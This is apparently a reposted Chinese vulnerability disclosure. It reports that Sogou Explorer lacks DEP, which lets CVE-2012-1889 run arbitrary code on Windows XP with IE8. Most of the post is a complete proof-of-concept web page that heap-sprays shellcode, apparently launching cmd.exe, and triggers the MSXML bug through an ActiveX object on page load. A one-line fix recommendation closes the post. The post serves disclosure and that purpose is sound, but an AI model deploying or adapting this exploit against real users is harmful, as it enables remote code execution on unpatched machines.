首页 » 漏洞 » 搜狗浏览器数据执行保护漏洞导致任意代码可执行

搜狗浏览器数据执行保护漏洞导致任意代码可执行

 

系统版本:windows xp sp3,IE8,未打补丁

使用NDay: CVE-2012-1889

通过IE打开该poc,由于IE8默认开启了DEP,所以会崩溃。但在SogouExplorer里能够成功执行shellcode,无需使用ROP绕过DEP

搜狗浏览器数据执行保护漏洞导致任意代码可执行

攻击效果:

搜狗浏览器数据执行保护漏洞导致任意代码可执行

漏洞证明:

code 区域
<html>

<meta http-equiv="Cache-Control" content="no-cache"/>

<head>

<script>

var arr = new Array();

function Alloc(str, bytes)

{

while(str.length < bytes/2)

{

str += str;

}



return str.substring(0, (bytes-0x1026)/2);

}



function Spray()

{

var head = "/u180c/u0fe8/u4141/u4141/u4141/u4141/u4141/u4141/u4141/u4141/u4141/u4141/u4141/u4141/u1828/u0fe8";

var blockBytes = 0x1000;

var shellcode ="/u9090/uec8b/uec81/u0100/u0000/ua164/u0030/u0000/u588b/u8b08/u81f3/ua0c6/u04e1/u8b00/u8936/u08b5/uffff/u64ff/u30a1/u0000/u8b00/u0c58/u438b/u8b0c/u8b00/u8b00/u1858/u45c7/u57b0/u6e69/uc745/ub445/u6578/u0063/u758d/u56b0/uff53/u0895/uffff/u89ff/u0c85/uffff/uc7ff/uc445/u6d63/u2e64/u45c7/u65c8/u6578/u6a00/u8d01/uc475/uff56/u0c95/uffff/u00ff";



var padding = "/u9090/u9090";

while(padding.length < blockBytes/2)

{

padding = padding + padding;

}



var block = padding.substring(0, 0x3f2) + head + shellcode + padding.substring(0, blockBytes/2 - 0x3f2 - head.length - shellcode.length);



var large = Alloc(block, 0x100000);



for(var k = 0; k < 200; ++k)

{

arr[k] = large.substring(0, large.length);

}

}





function call()

{

Spray();

var obj = document.getElementById('poc').object;

var src = unescape("%u1808%u0fe8");

while (src.length < 0x1002) src += src;

src = "////xxx" + src;

src = src.substr(0, 0x1000 - 10);

var pic = document.createElement("img");

pic.src = src;

pic.nameProp;

obj.definition(0);

}



</script>

</head>

<body onload='call();'>

<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>

</body>

</html>

修复方案:

在二进制编译阶段,为自身的所有进程强制开启DEP选项。

原文链接:搜狗浏览器数据执行保护漏洞导致任意代码可执行,转载请注明来源!

0